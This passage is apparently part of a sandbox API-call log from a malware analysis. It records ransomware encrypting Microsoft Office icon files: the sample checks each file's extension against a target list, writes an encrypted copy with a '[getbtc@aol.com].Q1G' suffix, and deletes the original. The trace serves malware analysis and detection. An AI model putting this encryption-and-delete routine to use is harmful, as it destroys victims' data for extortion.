(hObject=0x37c) returned 1 [0264.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\alert.ico")) returned 1 [0264.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO") returned 69 [0264.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO") returned 69 [0264.916] lstrlenW (lpString=".doc") returned 4 [0264.916] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.916] lstrlenW (lpString=".docx") returned 5 [0264.916] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1 [0264.916] lstrlenW (lpString=".pdf") returned 4 [0264.917] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.917] lstrlenW (lpString=".xls") returned 4 [0264.917] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.917] lstrlenW (lpString=".xlsx") returned 5 [0264.917] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1 [0264.917] lstrlenW (lpString=".ppt") returned 4 [0264.917] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO") returned 69 [0264.917] lstrlenW (lpString=".zip") returned 4 [0264.917] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.917] lstrlenW (lpString=".rar") returned 4 [0264.917] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.917] lstrlenW (lpString=".bz2") returned 4 [0264.917] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.917] lstrlenW (lpString=".7z") returned 3 [0264.917] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO") returned 69 [0264.917] lstrlenW (lpString=".dbf") returned 4 [0264.917] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO") returned 69 [0264.917] lstrlenW (lpString=".1cd") returned 4 [0264.917] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO") returned 69 [0264.917] lstrlenW (lpString=".jpg") returned 4 [0264.917] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO") returned 69 [0264.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO") returned 69 [0264.917] lstrlenW (lpString=".doc") returned 4 [0264.917] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.917] lstrlenW (lpString=".docx") returned 5 [0264.917] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1 [0264.917] lstrlenW (lpString=".pdf") returned 4 [0264.917] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.917] lstrlenW (lpString=".xls") returned 4 [0264.917] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.917] lstrlenW (lpString=".xlsx") returned 5 [0264.917] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1 [0264.917] lstrlenW (lpString=".ppt") returned 4 [0264.917] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO") returned 69 [0264.918] lstrlenW (lpString=".zip") returned 4 [0264.918] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.918] lstrlenW (lpString=".rar") returned 4 [0264.918] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.918] lstrlenW (lpString=".bz2") returned 4 [0264.918] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.918] lstrlenW (lpString=".7z") returned 3 [0264.918] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO") returned 69 [0264.918] lstrlenW (lpString=".dbf") returned 4 [0264.918] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO") returned 69 [0264.918] lstrlenW (lpString=".1cd") returned 4 [0264.918] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO") returned 69 [0264.918] lstrlenW (lpString=".jpg") returned 4 [0264.918] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.918] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0264.918] lstrlenW (lpString="CHEVRON.ICO") returned 11 [0264.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\chevron.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0264.919] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=2862) returned 1 [0264.919] CloseHandle (hObject=0x37c) returned 1 [0264.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\chevron.ico")) returned 0x20 [0264.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\chevron.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\chevron.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0264.919] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.919] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\chevron.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0264.929] GetLastError () returned 0x0 [0264.929] ReadFile (in: hFile=0x37c, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xb2e, lpOverlapped=0x0) returned 1 [0264.943] WriteFile (in: hFile=0x1bc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xb30, lpOverlapped=0x0) returned 1 [0264.944] ReadFile (in: hFile=0x37c, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0264.944] WriteFile (in: hFile=0x1bc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0264.944] SetEndOfFile (hFile=0x1bc) returned 1 [0264.944] CloseHandle (hObject=0x1bc) returned 1 [0264.944] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.944] SetEndOfFile (hFile=0x37c) returned 1 [0264.946] CloseHandle (hObject=0x37c) returned 1 [0264.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\chevron.ico")) returned 1 [0264.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO") returned 71 [0264.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO") returned 71 [0264.947] lstrlenW (lpString=".doc") returned 4 [0264.947] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.947] lstrlenW (lpString=".docx") returned 5 [0264.947] lstrcmpiW (lpString1=".docx", lpString2="N.ICO") returned -1 [0264.947] lstrlenW (lpString=".pdf") returned 4 [0264.947] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.947] lstrlenW (lpString=".xls") returned 4 [0264.947] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.947] lstrlenW (lpString=".xlsx") returned 5 [0264.947] lstrcmpiW (lpString1=".xlsx", lpString2="N.ICO") returned -1 [0264.947] lstrlenW (lpString=".ppt") returned 4 [0264.947] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO") returned 71 [0264.947] lstrlenW (lpString=".zip") returned 4 [0264.947] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.947] lstrlenW (lpString=".rar") returned 4 [0264.947] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.947] lstrlenW (lpString=".bz2") returned 4 [0264.947] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.947] lstrlenW (lpString=".7z") returned 3 [0264.947] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO") returned 71 [0264.947] lstrlenW (lpString=".dbf") returned 4 [0264.947] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO") returned 71 [0264.947] lstrlenW (lpString=".1cd") returned 4 [0264.947] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO") returned 71 [0264.947] lstrlenW (lpString=".jpg") returned 4 [0264.947] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO") returned 71 [0264.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO") returned 71 [0264.947] lstrlenW (lpString=".doc") returned 4 [0264.947] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.947] lstrlenW (lpString=".docx") returned 5 [0264.947] lstrcmpiW (lpString1=".docx", lpString2="N.ICO") returned -1 [0264.948] lstrlenW (lpString=".pdf") returned 4 [0264.948] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.948] lstrlenW (lpString=".xls") returned 4 [0264.948] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.948] lstrlenW (lpString=".xlsx") returned 5 [0264.948] lstrcmpiW (lpString1=".xlsx", lpString2="N.ICO") returned -1 [0264.948] lstrlenW (lpString=".ppt") returned 4 [0264.948] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO") returned 71 [0264.948] lstrlenW (lpString=".zip") returned 4 [0264.948] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.948] lstrlenW (lpString=".rar") returned 4 [0264.948] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.948] lstrlenW (lpString=".bz2") returned 4 [0264.948] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.948] lstrlenW (lpString=".7z") returned 3 [0264.948] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO") returned 71 [0264.948] lstrlenW (lpString=".dbf") returned 4 [0264.948] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO") returned 71 [0264.948] lstrlenW (lpString=".1cd") returned 4 [0264.948] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO") returned 71 [0264.948] lstrlenW (lpString=".jpg") returned 4 [0264.948] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.948] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0264.948] lstrlenW (lpString="COMPUTER.ICO") returned 12 [0264.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\computer.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.083] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=2606) returned 1 [0265.083] CloseHandle (hObject=0x3a8) returned 1 [0265.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\computer.ico")) returned 0x20 [0265.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\computer.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\computer.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.084] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.084] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\computer.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.084] GetLastError () returned 0x0 [0265.084] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xa2e, lpOverlapped=0x0) returned 1 [0265.086] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xa30, lpOverlapped=0x0) returned 1 [0265.087] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0265.087] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.087] SetEndOfFile (hFile=0x3a0) returned 1 [0265.087] CloseHandle (hObject=0x3a0) returned 1 [0265.087] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.087] SetEndOfFile (hFile=0x3a8) returned 1 [0265.089] CloseHandle (hObject=0x3a8) returned 1 [0265.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.089] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\computer.ico")) returned 1 [0265.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO") returned 72 [0265.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO") returned 72 [0265.090] lstrlenW (lpString=".doc") returned 4 [0265.090] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.090] lstrlenW (lpString=".docx") returned 5 [0265.090] lstrcmpiW (lpString1=".docx", lpString2="R.ICO") returned -1 [0265.090] lstrlenW (lpString=".pdf") returned 4 [0265.090] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.090] lstrlenW (lpString=".xls") returned 4 [0265.090] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.090] lstrlenW (lpString=".xlsx") returned 5 [0265.090] lstrcmpiW (lpString1=".xlsx", lpString2="R.ICO") returned -1 [0265.090] lstrlenW (lpString=".ppt") returned 4 [0265.090] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO") returned 72 [0265.090] lstrlenW (lpString=".zip") returned 4 [0265.090] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.090] lstrlenW (lpString=".rar") returned 4 [0265.090] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.090] lstrlenW (lpString=".bz2") returned 4 [0265.090] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.090] lstrlenW (lpString=".7z") returned 3 [0265.090] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO") returned 72 [0265.091] lstrlenW (lpString=".dbf") returned 4 [0265.091] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO") returned 72 [0265.091] lstrlenW (lpString=".1cd") returned 4 [0265.091] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO") returned 72 [0265.091] lstrlenW (lpString=".jpg") returned 4 [0265.091] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO") returned 72 [0265.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO") returned 72 [0265.091] lstrlenW (lpString=".doc") returned 4 [0265.091] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.091] lstrlenW (lpString=".docx") returned 5 [0265.091] lstrcmpiW (lpString1=".docx", lpString2="R.ICO") returned -1 [0265.091] lstrlenW (lpString=".pdf") returned 4 [0265.091] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.091] lstrlenW (lpString=".xls") returned 4 [0265.091] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.091] lstrlenW (lpString=".xlsx") returned 5 [0265.091] lstrcmpiW (lpString1=".xlsx", lpString2="R.ICO") returned -1 [0265.091] lstrlenW (lpString=".ppt") returned 4 [0265.091] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO") returned 72 [0265.091] lstrlenW (lpString=".zip") returned 4 [0265.091] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.091] lstrlenW (lpString=".rar") returned 4 [0265.091] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.091] lstrlenW (lpString=".bz2") returned 4 [0265.091] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.091] lstrlenW (lpString=".7z") returned 3 [0265.091] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO") returned 72 [0265.091] lstrlenW (lpString=".dbf") returned 4 [0265.091] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO") returned 72 [0265.092] lstrlenW (lpString=".1cd") returned 4 [0265.092] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO") returned 72 [0265.092] lstrlenW (lpString=".jpg") returned 4 [0265.092] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.092] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.092] lstrlenW (lpString="ContactSelector.ico") returned 19 [0265.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\contactselector.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.092] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=3750) returned 1 [0265.092] CloseHandle (hObject=0x3a8) returned 1 [0265.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\contactselector.ico")) returned 0x20 [0265.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\contactselector.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\contactselector.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.093] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.093] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\contactselector.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.094] GetLastError () returned 0x0 [0265.094] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xea6, lpOverlapped=0x0) returned 1 [0265.095] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xeb0, lpOverlapped=0x0) returned 1 [0265.096] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0265.096] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfa, lpOverlapped=0x0) returned 1 [0265.096] SetEndOfFile (hFile=0x3a0) returned 1 [0265.096] CloseHandle (hObject=0x3a0) returned 1 [0265.096] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.096] SetEndOfFile (hFile=0x3a8) returned 1 [0265.098] CloseHandle (hObject=0x3a8) returned 1 [0265.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.099] DeleteFileW 